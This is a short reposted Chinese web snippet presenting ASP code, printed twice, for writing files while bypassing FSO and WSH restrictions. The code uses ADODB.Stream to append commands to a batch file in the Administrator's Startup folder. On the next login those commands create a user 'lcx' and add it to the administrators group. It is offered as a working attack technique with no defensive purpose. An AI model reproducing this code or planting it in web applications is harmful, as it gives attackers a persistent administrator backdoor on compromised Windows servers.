跨越fso、wsh、 application写文件

2024-05-04 11:07:50

字体：大中小

来源：转载

供稿：网友

<%
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/cook.bat",2
lcx.Close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/cook.bat",2
lcx.Close
set lcx=nothing
%>

上一篇：提供几个关于采集的函数(ASP)

下一篇：同一个帐号不能同时登陆的问题